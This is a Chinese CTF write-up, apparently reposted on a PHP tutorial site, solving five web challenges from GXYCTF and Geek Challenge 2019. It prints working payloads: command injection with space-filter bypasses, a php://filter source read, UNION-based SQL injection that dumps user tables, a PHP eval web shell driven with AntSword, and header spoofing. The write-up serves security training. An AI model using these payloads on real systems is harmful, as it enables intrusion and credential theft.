IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 每天一道ctf -> 正文阅读

[PHP知识库]每天一道ctf

一.[GXYCTF2019]Ping Ping Ping

题目类型:命令执行+代码审计

提示/?ip=

输入/?ip=127.0.0.1,回显成功

显示当前的所有文件:/?ip=127.0.0.1|ls?

?这里查到了两个php文件
查看flag.php:?ip=127.0.0.1|cat flag.php

这里提示/?ip= fxck your space!space是空格,应该是空格被过滤了?

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

试试第一个方法:/?ip=127.0.0.1|{cat,flag.php}

?发现符号又被过滤了,说明{}大括号被过滤了,那第二个不能用了
试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php

?flag也被过滤了!

不是查出来两个文件嘛,看看另一个吧
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php

?发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
  echo "<pre>";
  print_r($a);
}

?>

代码审计一下,好多都被过滤了;但最后有个变量a,

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag

?啥也没有,查看源码

?

flag{63736cde-b478-4a7f-a4c1-18b72738906c}

二.[极客大挑战 2019]Secret File

查看源码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下

?点击secret

?提示查阅结束,返回上个目录,查看一下源码

此时也没有什么发现,抓个包试了试

这里提示secr3t.php,进入这个目录看一下?

?

这里提示flag放在了flag.php里,进入falg.php目录?

还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
?

得到flag

?flag{3c7875e8-87d9-43ca-837a-bed2bbb98850}

三.[极客大挑战 2019]LoveSQL?

先随便输入一个万能密码

找到回显位置

?

试试联合查询,一直到3的时候回显正常?

?2和3有回显位置

输入用户名为1
爆数据库password=:1' union select 1,2,database()#

?

得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password

爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

?查看源码

四.[极客大挑战 2019]Knife?

?

很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为:白给的shell/index.php
密码为:Syc

?

用蚁剑查看目录

查看根目录,找到flag

五.?[极客大挑战 2019]Http

查看源代码,发现有一个Secret.php?

进入这个访问该目录

?

提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可?

提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加User-Agent:Syclover

?

?

提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1

拿到flag

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 11:33:57  更:2022-10-31 11:35:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:38:19-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码